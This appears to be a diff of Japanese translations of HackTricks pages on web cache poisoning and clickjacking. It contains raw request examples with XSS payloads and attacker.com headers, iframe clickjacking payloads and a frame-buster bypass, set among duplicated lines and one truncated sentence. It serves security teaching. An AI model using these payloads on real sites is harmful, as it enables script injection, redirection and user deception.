悪用できるページ、使用するパラメータ/ヘッダー、およびその悪用方法を特定したら、ページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があります。数秒間試行する必要があるかもしれません。\
|
||||
応答のヘッダー「`X-Cache`」は非常に役立つ場合があります。リクエストがキャッシュされていない場合は値「`miss`」を持ち、キャッシュされている場合は値「`hit`」を持つことがあります。\
|
||||
ヘッダー「`Cache-Control`」も興味深いです。リソースがキャッシュされているかどうか、次回リソースが再度キャッシュされる予定の時間を知るためのものです:`Cache-Control: public, max-age=1800`\
|
||||
もう1つの興味深いキャッシュに関連するヘッダーは「`Vary`」です。このヘッダーは通常はキーとされないヘッダーでも、キャッシュキーの一部として扱われる追加のヘッダーを示すためによく使用されます。したがって、ユーザーがターゲットとしている被害者の「User-Agent」を知っている場合、特定の「User-Agent」を使用しているユーザーのキャッシュを改ざんすることができます。\
|
||||
応答のヘッダー「`X-Cache`」は非常に役立つ情報です。リクエストがキャッシュされていない場合は値「`miss`」を持ち、キャッシュされている場合は値「`hit`」を持つ可能性があります。\
|
||||
ヘッダー「`Cache-Control`」も興味深い情報です。リソースがキャッシュされているかどうか、次回リソースが再度キャッシュされる予定の時間を知ることができます。「Cache-Control: public, max-age=1800」\
|
||||
キャッシュに関連するもう1つの興味深いヘッダーは「`Vary`」です。このヘッダーは通常はキーとされないヘッダーでも、キャッシュキーの一部として扱われる追加のヘッダーを示すためによく使用されます。したがって、ユーザーがターゲットとしている被害者の「User-Agent」を知っている場合、特定の「User-Agent」を使用しているユーザーのキャッシュを汚染することができます。\
|
||||
キャッシュに関連するもう1つのヘッダーは「`Age`」です。これはオブジェクトがプロキシキャッシュに存在している時間を秒単位で定義します。
|
||||
|
||||
リクエストをキャッシュする際には、使用するヘッダーに注意してください。いくつかのヘッダーは予期しない方法でキーとして使用される可能性があり、被害者は同じヘッダーを使用する必要があります。キャッシュポイズニングをテストする際には、異なるブラウザで常に動作するかどうかを確認してください。
|
||||
リクエストをキャッシュする際には、使用するヘッダーに注意してください。いくつかのヘッダーは予期しない方法でキーとして使用される可能性があり、被害者は同じヘッダーを使用する必要があります。キャッシュポイズニングをテストする際には、異なるブラウザで動作するかどうかを常に確認してください。
|
||||
|
||||
## 攻撃の例
|
||||
|
||||
### 最も簡単な例
|
||||
|
||||
「X-Forwarded-For」というヘッダーが応答でサニタイズされずに反映されています。\
|
||||
基本的なXSSペイロードを送信し、キャッシュを改ざんしてページにアクセスするすべてのユーザーにXSSを実行できます。
|
||||
「X-Forwarded-For」というヘッダーが応答に無検査で反映されています。\
|
||||
基本的なXSSペイロードを送信し、キャッシュを汚染することで、ページにアクセスするすべての人がXSSになります。
|
||||
```markup
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
|
@ -85,11 +85,11 @@ GET / HTTP/1.1
|
|||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
```
|
||||
注意してください。脆弱なクッキーがユーザーによって非常に使用されている場合、定期的なリクエストによってキャッシュがクリーニングされる可能性があります。
|
||||
注意してください。もし脆弱なクッキーがユーザーによって頻繁に使用されている場合、定期的なリクエストによってキャッシュがクリアされる可能性があります。
|
||||
|
||||
### 複数のヘッダーを使用してウェブキャッシュの改ざん脆弱性を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### 複数のヘッダーを使用してウェブキャッシュの汚染脆弱性を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
ウェブキャッシュを悪用するためには、**複数のキーのない入力**を悪用する必要がある場合があります。たとえば、`X-Forwarded-Host`を自分が制御するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に転送し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクト先のページを制御することができます。
|
||||
時には、キャッシュを悪用するために複数のキーのない入力を悪用する必要があります。例えば、`X-Forwarded-Host`を自分が制御するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。もし**サーバー**がすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名として`X-Forwarded-Scheme`ヘッダーを使用している場合、リダイレクト先のページを制御することができます。
|
||||
```markup
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
|
@ -111,19 +111,19 @@ X-Host: attacker.com
|
|||
|
||||
### Webキャッシュポイズニングの自動テスト
|
||||
|
||||
[Webキャッシュ脆弱性スキャナー](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用すると、Webキャッシュポイズニングの自動テストが行えます。このツールは多くの異なる技術をサポートしており、高度にカスタマイズ可能です。
|
||||
[Webキャッシュ脆弱性スキャナー](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用して、Webキャッシュポイズニングの自動テストを実行することができます。このツールは多くの異なる技術をサポートしており、高度にカスタマイズ可能です。
|
||||
|
||||
使用例: `wcvs -u example.com`
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**することができます。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、**自動化**することができます。\
|
||||
今すぐアクセスを取得してください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 脆弱な例
|
||||
## 脆弱性のある例
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
|
@ -135,7 +135,7 @@ ATSはURL内のフラグメントを削除せずに転送し、キャッシュ
|
|||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。**GCPバケット**は**ヘッダー `x-http-method-override`**をサポートしています。そのため、ヘッダー `x-http-method-override: HEAD` を送信し、キャッシュを毒化して空のレスポンスボディを返すことができます。また、メソッド `PURGE` もサポートしています。
|
||||
GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。**GCPバケット**は**ヘッダー `x-http-method-override`**をサポートしています。そのため、ヘッダー `x-http-method-override: HEAD` を送信し、キャッシュを毒化して空のレスポンスボディを返すことができます。また、メソッド `PURGE` もサポートすることができます。
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
|
@ -143,7 +143,7 @@ Ruby on Railsアプリケーションは、しばしばRackミドルウェアと
|
|||
|
||||
![](<../.gitbook/assets/image (159) (2).png>)
|
||||
|
||||
ヘッダー `x-forwarded-scheme: http` を送信すると、同じ場所への301リダイレクトが発生し、この例のようにそのリソースに対するDoSが発生します。
|
||||
ヘッダー `x-forwarded-scheme: http` を送信すると、同じ場所への301リダイレクトが発生し、このリソースに対するDoSが発生します。
|
||||
|
||||
![](<../.gitbook/assets/image (166).png>)
|
||||
|
||||
|
@ -153,27 +153,27 @@ Ruby on Railsアプリケーションは、しばしばRackミドルウェアと
|
|||
|
||||
### 403とストレージバケット
|
||||
|
||||
以前、**Cloudflare**は**403のレスポンスをキャッシュ**していました。そのため、**S3**や**Azure Storage Blobs**にアクセスしようとする**不正な認証ヘッダー**を送信すると、キャッシュされた403が返されます。ただし、Cloudflareはもはや403のレスポンスをキャッシュしないため、他のプロキシでは機能しない場合があります。
|
||||
以前、**Cloudflare**は**403のレスポンスをキャッシュ**していました。そのため、**S3**や**Azure Storage Blobs**にアクセスしようとする際に不正な認証ヘッダーを送信すると、キャッシュされた403が返されます。ただし、Cloudflareは現在は403のレスポンスをキャッシュしなくなっていますが、他のプロキシでは機能する可能性があります。
|
||||
|
||||
![](<../.gitbook/assets/image (171).png>)
|
||||
|
||||
### キー付きパラメータの注入
|
||||
|
||||
キャッシュはしばしばキャッシュキーに特定のGETパラメータのみを含めるように構成されています。
|
||||
キャッシュはしばしば、キャッシュキーに特定のGETパラメータのみを含めるように構成されています。
|
||||
|
||||
たとえば、FastlyはVarnishを使用してリクエストの `size` パラメータをキャッシュしますが、`siz%65` パラメータも送信し、不正な値を含めると、キャッシュキーは適切に書かれた `size` パラメータで構築されますが、バックエンドはURLエンコードされたパラメータ内の値を使用します。
|
||||
|
||||
![](<../.gitbook/assets/image (180).png>)
|
||||
|
||||
2番目の `size` パラメータをURLエンコードすると、キャッシュには無視されますが、バックエンドには使用されます。パラメータに値0を指定すると、キャッシュ可能な400 Bad Requestが返されます。
|
||||
2番目の `size` パラメータをURLエンコードすることで、キャッシュには無視されますが、バックエンドには使用されます。パラメータに値0を指定すると、キャッシュ可能な400 Bad Requestが返されます。
|
||||
|
||||
### ユーザーエージェントルール
|
||||
### ユーザーエージェントのルール
|
||||
|
||||
FFUFやNucleiなどのツールが生成するトラフィックの量が多いため、一部の開発者はユーザーエージェントに一致するリクエストをブロックすることを決定しました。皮肉なことに、これらの調整は望ましくないキャッシュポイズニングとDoSの機会を生み出すことがあります。
|
||||
|
||||
![](<../.gitbook/assets/image (167) (2).png>)
|
||||
|
||||
私はこの方法が複数のターゲットで機能することを確認しました。異なるツールやスキャナーのユーザーエージェントを使用したリクエストに対して有効でした。
|
||||
私はこの方法を異なるツールやスキャナーのユーザーエージェントで複数のターゲットで試した結果、うまく機能しました。
|
||||
|
||||
### 非正規のヘッダーフィールド
|
||||
|
||||
|
@ -181,7 +181,7 @@ FFUFやNucleiなどのツールが生成するトラフィックの量が多い
|
|||
|
||||
![](<../.gitbook/assets/image (175) (2).png>)
|
||||
|
||||
理論上、ヘッダー名には**tchar**にリストされていない文字が含まれている場合、400 Bad Requestで拒否されるはずです。しかし、実際には、サーバーは常にRFCを遵守しているわけではありません。このニュアンスを悪用する最も簡単な方法は、無効なヘッダーを拒否せずに転送し、キャッシュコントロールヘッダーが存在しない限り、400エラーをキャッシュするAkamaiをターゲットにすることでした。
|
||||
理論上は、ヘッダー名には**tchar**にリストされていない文字が含まれている場合、400 Bad Requestで拒否されるはずです。しかし、実際には、サーバーは常にRFCを遵守しているわけではありません。このニュアンスを悪用する最も簡単な方法は、RFCを拒否しないAkamaiをターゲットにすることでしたが、キャッシュコントロールヘッダーが存在しない限り、無効なヘッダーを転送し、キャッシュされた400エラーをキャッシュします。
|
||||
|
||||
![](<../.gitbook/assets/image (163).png>)
|
||||
|
||||
|
@ -195,7 +195,7 @@ FFUFやNucleiなどのツールが生成するトラフィックの量が多い
|
|||
|
||||
キャッシュデセプションの目的は、クライアントがキャッシュに保存されるリソースを、それらの機密情報を含んだ状態で読み込むことです。
|
||||
|
||||
まず、`.css`、`.js`
|
||||
まず、
|
||||
## 参考文献
|
||||
|
||||
* [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
|
||||
|
@ -204,7 +204,7 @@ FFUFやNucleiなどのツールが生成するトラフィックの量が多い
|
|||
* [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
|
||||
* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、**自動化**することができます。\
|
||||
|
@ -218,8 +218,8 @@ FFUFやNucleiなどのツールが生成するトラフィックの量が多い
|
|||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのスウェット**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して**自動化**します。\
|
||||
|
@ -22,15 +22,15 @@
|
|||
|
||||
## クリックジャッキングとは
|
||||
|
||||
クリックジャッキングは、**ユーザー**が**見えない**または他の要素に偽装されたウェブページの**要素**を**クリック**するように**だます**攻撃です。これにより、ユーザーは知らずにマルウェアをダウンロードしたり、悪意のあるウェブページを訪れたり、資格情報や機密情報を提供したり、お金を送金したり、オンラインで商品を購入したりすることがあります([ここから](https://www.imperva.com/learn/application-security/clickjacking/))。
|
||||
クリックジャッキングは、**ユーザー**を**騙して**別の要素として**見えない**または別の要素として偽装されたウェブページの**要素**を**クリック**させる攻撃です。これにより、ユーザーは知らずにマルウェアをダウンロードしたり、悪意のあるウェブページを訪れたり、資格情報や機密情報を提供したり、お金を送金したり、オンラインで商品を購入したりすることがあります([ここから](https://www.imperva.com/learn/application-security/clickjacking/))。
|
||||
|
||||
### フォームの事前入力トリック
|
||||
|
||||
時には、ページの読み込み時にGETパラメータを使用してフォームのフィールドの値を**自動的に入力**することができます。攻撃者はこの動作を悪用して、フォームに任意のデータを入力し、クリックジャッキングペイロードを送信してユーザーがボタンを押すようにします。
|
||||
|
||||
### ドラッグ&ドロップでフォームを入力
|
||||
### ドラッグ&ドロップでフォームを入力する
|
||||
|
||||
ユーザーにフォームを**入力**してもらいたいが、特定の情報(メールアドレスや特定のパスワードなど)を直接尋ねることはしたくない場合、[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように、制御されたデータを書き込むものを**ドラッグ&ドロップ**するように依頼することができます。
|
||||
ユーザーに**フォームの入力**を求める必要がありますが、特定の情報(メールアドレスや特定のパスワードなど)を直接尋ねることはしたくない場合は、[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように、制御されたデータを書き込むものをドラッグ&ドロップするだけで済ませることができます。
|
||||
|
||||
### 基本的なペイロード
|
||||
```markup
|
||||
|
@ -56,19 +56,19 @@ z-index: 1;
|
|||
|
||||
In some cases, a simple clickjacking attack may not be enough to achieve the desired outcome. In such situations, a multistep payload can be used to execute a series of actions on the victim's behalf.
|
||||
|
||||
いくつかの場合において、単純なクリックジャッキング攻撃では望ましい結果を得ることができないことがあります。そのような状況では、マルチステップペイロードを使用して、被害者の代わりに一連のアクションを実行することができます。
|
||||
以下の場合、単純なクリックジャッキング攻撃では望む結果を得ることができない場合があります。そのような状況では、マルチステップペイロードを使用して、被害者の代わりに一連のアクションを実行することができます。
|
||||
|
||||
The multistep payload involves embedding multiple iframes within iframes, each containing a specific action to be performed. By carefully orchestrating the sequence of actions, an attacker can trick the victim into unknowingly performing actions that they did not intend to.
|
||||
The idea behind a multistep payload is to trick the victim into performing multiple actions without their knowledge. This can be achieved by overlaying multiple transparent iframes on top of each other, each containing a different target website. By carefully orchestrating the sequence of actions, an attacker can make the victim unknowingly perform actions such as clicking on buttons, submitting forms, or even making financial transactions.
|
||||
|
||||
マルチステップペイロードでは、特定のアクションを含む複数のiframeをiframeに埋め込むことが含まれます。アクションのシーケンスを注意深く組み立てることで、攻撃者は被害者を騙して意図しないアクションを実行させることができます。
|
||||
マルチステップペイロードのアイデアは、被害者が自分の知識を持たずに複数のアクションを実行するように騙すことです。これは、透明な複数のiframeを重ね合わせ、それぞれが異なるターゲットのウェブサイトを含んでいることで実現できます。アクションのシーケンスを注意深く組み立てることで、攻撃者は被害者に対して、ボタンのクリック、フォームの送信、さらには金融取引などのアクションを無意識に実行させることができます。
|
||||
|
||||
To implement a multistep payload, the attacker needs to identify the sequence of actions required to achieve their goal. They then create iframes for each action and embed them within each other, ensuring that the victim's clicks are redirected to the desired targets.
|
||||
To create a multistep payload, the attacker needs to identify the target actions they want the victim to perform. They then need to carefully design the sequence of iframes and actions to achieve their goal. This may involve analyzing the target website's structure and functionality to understand how to manipulate it effectively.
|
||||
|
||||
マルチステップペイロードを実装するために、攻撃者は目標を達成するために必要なアクションのシーケンスを特定する必要があります。それから、各アクションに対してiframeを作成し、互いに埋め込みます。これにより、被害者のクリックが目的のターゲットにリダイレクトされるようにします。
|
||||
マルチステップペイロードを作成するには、攻撃者は被害者に実行させたいターゲットのアクションを特定する必要があります。その後、目標を達成するために、注意深くiframeとアクションのシーケンスを設計する必要があります。これには、ターゲットのウェブサイトの構造と機能を分析して、効果的に操作する方法を理解することが含まれる場合があります。
|
||||
|
||||
It is important to note that multistep payloads can be more complex and may require additional techniques such as framebusting or other countermeasures to prevent detection and mitigation.
|
||||
It's important to note that multistep payloads can be more complex and may require additional techniques such as event listeners, JavaScript injections, or even exploiting vulnerabilities in the target website's code. The success of a multistep payload relies on the attacker's ability to understand the target website's behavior and manipulate it accordingly.
|
||||
|
||||
マルチステップペイロードはより複雑であり、検出と緩和を防ぐためにフレームブレーキングやその他の対策などの追加のテクニックが必要な場合があることに注意してください。
|
||||
マルチステップペイロードはより複雑であり、イベントリスナーやJavaScriptのインジェクション、さらにはターゲットのウェブサイトのコードの脆弱性を悪用するなどの追加のテクニックが必要な場合があることに注意してください。マルチステップペイロードの成功は、攻撃者がターゲットのウェブサイトの動作を理解し、それに応じて操作する能力に依存します。
|
||||
```markup
|
||||
<style>
|
||||
iframe {
|
||||
|
@ -94,25 +94,21 @@ left:210px;
|
|||
```
|
||||
### ドラッグ&ドロップ + クリックのペイロード
|
||||
|
||||
This technique combines the use of drag and drop events with a click payload to perform a clickjacking attack. The idea is to trick the user into unknowingly performing a malicious action by disguising it as a harmless action.
|
||||
Clickjacking attacks can be enhanced by combining them with drag and drop functionality. This technique involves tricking the user into dragging and dropping an element onto a hidden button or link, which triggers a malicious action without the user's knowledge.
|
||||
|
||||
この技術は、ドラッグ&ドロップイベントとクリックのペイロードを組み合わせて、クリックジャッキング攻撃を行います。そのアイデアは、無害なアクションと偽装して、ユーザーを知らず知らずのうちに悪意のあるアクションを実行させることです。
|
||||
To perform a drag and drop + click attack, follow these steps:
|
||||
|
||||
The first step is to create a draggable element on the attacker-controlled page. This can be done using HTML5's draggable attribute or JavaScript's drag and drop API. Once the element is draggable, the attacker can position it over a target element on the victim's page.
|
||||
1. Identify the target element: Find the element that you want the user to interact with, such as a button or link.
|
||||
|
||||
最初のステップは、攻撃者が制御するページ上にドラッグ可能な要素を作成することです。これは、HTML5のdraggable属性やJavaScriptのドラッグ&ドロップAPIを使用して行うことができます。要素がドラッグ可能になったら、攻撃者はそれを被害者のページ上のターゲット要素の上に配置することができます。
|
||||
2. Create a hidden button or link: Create a hidden button or link that will be triggered when the user drags and drops the target element onto it. This can be done by positioning the button or link off-screen or using CSS to hide it.
|
||||
|
||||
Next, the attacker creates a transparent iframe that covers the draggable element. This iframe will act as a layer between the victim's page and the draggable element, preventing the victim from directly interacting with the element.
|
||||
3. Intercept the drag and drop event: Use JavaScript to intercept the drag and drop event and prevent the default behavior. This will allow you to control what happens when the user drags and drops the target element.
|
||||
|
||||
次に、攻撃者は透明なiframeを作成し、ドラッグ可能な要素を覆います。このiframeは、被害者のページとドラッグ可能な要素の間にレイヤーとして機能し、被害者が要素と直接的にやり取りすることを防ぎます。
|
||||
4. Trigger the hidden button or link: Once the drag and drop event is intercepted, programmatically trigger a click event on the hidden button or link. This will execute the malicious action associated with the hidden element.
|
||||
|
||||
When the victim interacts with the draggable element, such as clicking on it, the click event is intercepted by the transparent iframe. The attacker can then trigger a click event on a hidden button or link within the iframe, effectively performing a clickjacking attack.
|
||||
By combining drag and drop functionality with clickjacking, attackers can deceive users into unknowingly performing actions that they did not intend to. This technique can be used to perform various malicious activities, such as submitting forms, making purchases, or even executing arbitrary code on the victim's machine.
|
||||
|
||||
被害者がドラッグ可能な要素とやり取りする(例:クリックする)と、クリックイベントは透明なiframeによって傍受されます。攻撃者は、iframe内の非表示のボタンやリンクでクリックイベントをトリガーし、実質的にクリックジャッキング攻撃を実行することができます。
|
||||
|
||||
To mitigate this type of attack, web developers should ensure that user interactions are properly validated and that draggable elements are not overlapped by transparent iframes.
|
||||
|
||||
この種の攻撃を軽減するために、ウェブ開発者はユーザーのやり取りが適切に検証されていることを確認し、ドラッグ可能な要素が透明なiframeによって重ならないようにする必要があります。
|
||||
To protect against drag and drop + click attacks, web developers should implement measures such as frame-busting scripts, X-Frame-Options headers, and Content Security Policies (CSPs) to prevent clickjacking and other UI redressing attacks. Additionally, users should be cautious when interacting with unfamiliar or suspicious elements on websites to avoid falling victim to these types of attacks.
|
||||
```markup
|
||||
<html>
|
||||
<head>
|
||||
|
@ -146,7 +142,7 @@ background: #F00;
|
|||
ユーザーがクリックする必要がある **XSS 攻撃** を特定し、ページが **クリックジャッキングの脆弱性** を持っている場合、ユーザーを騙してボタン/リンクをクリックさせることで悪用することができます。\
|
||||
例:\
|
||||
_アカウントの一部のプライベートな詳細情報(あなただけが設定および読み取り可能な詳細情報)に **セルフ XSS** を見つけました。これらの詳細を設定するためのページは **クリックジャッキングの脆弱性** を持っており、GET パラメータで **フォーム** を **事前に入力** することができます。_\
|
||||
\_\_攻撃者は、そのページに対して **クリックジャッキング** 攻撃を準備し、**XSS ペイロード** を **フォーム** に **事前に入力** して **ユーザー** を **フォームを送信** するように **騙す** ことができます。そのため、**フォームが送信されると** 値が変更され、**ユーザーが XSS を実行** します。
|
||||
\_\_攻撃者は、そのページに対して **クリックジャッキング攻撃** を準備し、**XSS ペイロード** を **フォーム** に **事前に入力** して **ユーザー** を **フォームを送信** するように **騙す** ことができます。そのため、**フォームが送信されると** 値が変更され、**ユーザーが XSS を実行** します。
|
||||
|
||||
## クリックジャッキングを回避する方法
|
||||
|
||||
|
@ -157,17 +153,17 @@ _アカウントの一部のプライベートな詳細情報(あなただけ
|
|||
* 現在のアプリケーションウィンドウがメインまたはトップウィンドウであることを確認および強制する
|
||||
* すべてのフレームを表示する
|
||||
* 不可視フレームをクリックできないようにする
|
||||
* ユーザーに対して潜在的なクリックジャッキング攻撃を検出および警告する
|
||||
* ユーザーに対して潜在的なクリックジャッキング攻撃を検出および通知する
|
||||
|
||||
#### バイパス
|
||||
|
||||
フレームバスターは JavaScript であるため、ブラウザのセキュリティ設定によってその動作が阻止される場合があります。実際には、ブラウザが JavaScript をサポートしていない場合もあります。フレームバスターに対する効果的な攻撃者の回避策は、**HTML5 の iframe `sandbox` 属性** を使用することです。これを `allow-forms` または `allow-scripts` の値で設定し、`allow-top-navigation` の値を省略すると、フレームバスタースクリプトは中断されます。なぜなら、iframe は自身がトップウィンドウであるかどうかをチェックできないからです。
|
||||
フレームバスターは JavaScript であるため、ブラウザのセキュリティ設定によってその動作が阻止される場合があります。また、ブラウザが JavaScript をサポートしていない場合もあります。フレームバスターに対する効果的な攻撃者の回避策は、**HTML5 の iframe `sandbox` 属性** を使用することです。この属性を `allow-forms` または `allow-scripts` の値で設定し、`allow-top-navigation` の値を省略すると、フレームバスタースクリプトは中断されます。なぜなら、iframe は自身がトップウィンドウであるかどうかをチェックできないからです。
|
||||
```markup
|
||||
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
`allow-forms`と`allow-scripts`の両方の値は、iframe内で指定されたアクションを許可しますが、トップレベルのナビゲーションは無効になります。これにより、ターゲットサイト内の機能は許可されますが、フレームの破壊行為は防止されます。
|
||||
|
||||
実行するClickjacking攻撃のタイプによっては、`allow-same-origin`と`allow-modals`、または[さらに多くの設定](https://www.w3schools.com/tags/att_iframe_sandbox.asp)が必要になる場合があります。攻撃を準備する際には、ブラウザのコンソールを確認して、他の設定が必要かどうかを確認してください。
|
||||
実行するClickjacking攻撃のタイプによっては、`allow-same-origin`と`allow-modals`、または[さらに多くの設定](https://www.w3schools.com/tags/att\_iframe\_sandbox.asp)が必要になる場合があります。攻撃を準備する際には、ブラウザのコンソールを確認して、他の設定が必要かどうかを確認してください。
|
||||
|
||||
### X-Frame-Options
|
||||
|
||||
|
@ -176,8 +172,8 @@ _アカウントの一部のプライベートな詳細情報(あなただけ
|
|||
* `X-Frame-Options: deny`は、**どのドメインからもコンテンツをフレーム化することを防止**します(推奨値)
|
||||
* `X-Frame-Options: sameorigin`は、**現在のサイトのみ**がコンテンツをフレーム化できるようにします。
|
||||
* `X-Frame-Options: allow-from https://trusted.com`は、指定された「uri」がこのページをフレーム化できるようにします。
|
||||
* ブラウザがサポートしていない場合、これは**オープンに失敗します**ので、制限事項を確認してください。
|
||||
* 他のブラウザは、新しい**CSP frame-ancestorsディレクティブ**もサポートしています。一部のブラウザは両方をサポートしています。
|
||||
* ブラウザがサポートしていない場合、これは**オープンに失敗します**ので、以下の制限を確認してください。
|
||||
* 他のブラウザは新しい**CSP frame-ancestorsディレクティブ**もサポートしています。一部のブラウザは両方をサポートしています。
|
||||
|
||||
### Content Security Policy(CSP)frame-ancestorsディレクティブ
|
||||
|
||||
|
@ -186,26 +182,26 @@ _アカウントの一部のプライベートな詳細情報(あなただけ
|
|||
**`frame-ancestors 'self'`**ディレクティブは、**X-Frame-Options `sameorigin`**ディレクティブとほぼ同等です(現在のサイトのみがフレーム化できます)。\
|
||||
**`frame-ancestors trusted.com`**ディレクティブは、**X-Frame-Options** `allow-from`ディレクティブとほぼ同等です(信頼されたサイトのみがフレーム化できます)。
|
||||
|
||||
次のCSPは、同じドメインのフレームのみをホワイトリストに登録します。
|
||||
以下のCSPは、同じドメインのフレームのみをホワイトリストに登録します。
|
||||
|
||||
`Content-Security-Policy: frame-ancestors 'self';`
|
||||
|
||||
詳細な情報やより複雑な例については、次のドキュメントを参照してください。
|
||||
詳細やより複雑な例については、次のドキュメントを参照してください。
|
||||
|
||||
* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
|
||||
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
|
||||
|
||||
### 制限事項 <a href="#limitations" id="limitations"></a>
|
||||
### 制限 <a href="#limitations" id="limitations"></a>
|
||||
|
||||
* **ブラウザのサポート:** CSP frame-ancestorsは、まだすべての主要なブラウザでサポートされていません。
|
||||
* **X-Frame-Optionsが優先される:** CSP仕様の「関連付けとX-Frame-Options」セクションは、「_frame-ancestorsディレクティブを含むポリシーがリソースとともに配信され、その配置が「強制」である場合、X-Frame-Optionsヘッダーは無視される必要がある_」と述べていますが、Chrome 40とFirefox 35はframe-ancestorsディレクティブを無視し、代わりにX-Frame-Optionsヘッダーに従います。
|
||||
* **X-Frame-Optionsが優先される:** CSP仕様の「関連付けX-Frame-Options」セクションは、「_frame-ancestorsディレクティブを含むポリシーがリソースに配信され、その配置が「強制」である場合、X-Frame-Optionsヘッダーは無視される必要がある_」と述べていますが、Chrome 40とFirefox 35はframe-ancestorsディレクティブを無視し、代わりにX-Frame-Optionsヘッダーに従います。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
||||
